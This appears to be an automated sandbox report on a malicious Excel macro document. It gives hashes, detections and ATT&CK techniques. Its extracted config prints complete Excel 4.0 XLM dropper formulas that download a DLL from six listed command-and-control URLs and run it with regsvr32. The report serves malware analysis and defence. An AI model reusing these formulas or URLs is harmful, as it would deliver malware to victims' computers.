Overview

overview

10

Static

static

10

?i=1ceofnqho.xlsm

windows7_x64

10

?i=1ceofnqho.xlsm

windows10-2004_x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ?i=1ceofnqho

  • Size

    46KB

  • Sample

    220522-f5972sfhb3

  • MD5

    cbd1f72b9862aaf2deea02e952ce845b

  • SHA1

    53f6252bf3b88ae1bcef9f57a58ef1095c72aa80

  • SHA256

    47033d733745aada415882d83566cebcc301505ddbb55d72e84ee221332e812b

  • SHA512

    76bd68ddd12febbdd3f1c6385cac8cfa334310f73fed0c3a20a8be975dd23330e31735b1099d13218e2bccd9797057a2ee95537b65dc4219e876da2d316423e7

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/
xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      ?i=1ceofnqho

    • Size

      46KB

    • MD5

      cbd1f72b9862aaf2deea02e952ce845b

    • SHA1

      53f6252bf3b88ae1bcef9f57a58ef1095c72aa80

    • SHA256

      47033d733745aada415882d83566cebcc301505ddbb55d72e84ee221332e812b

    • SHA512

      76bd68ddd12febbdd3f1c6385cac8cfa334310f73fed0c3a20a8be975dd23330e31735b1099d13218e2bccd9797057a2ee95537b65dc4219e876da2d316423e7

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks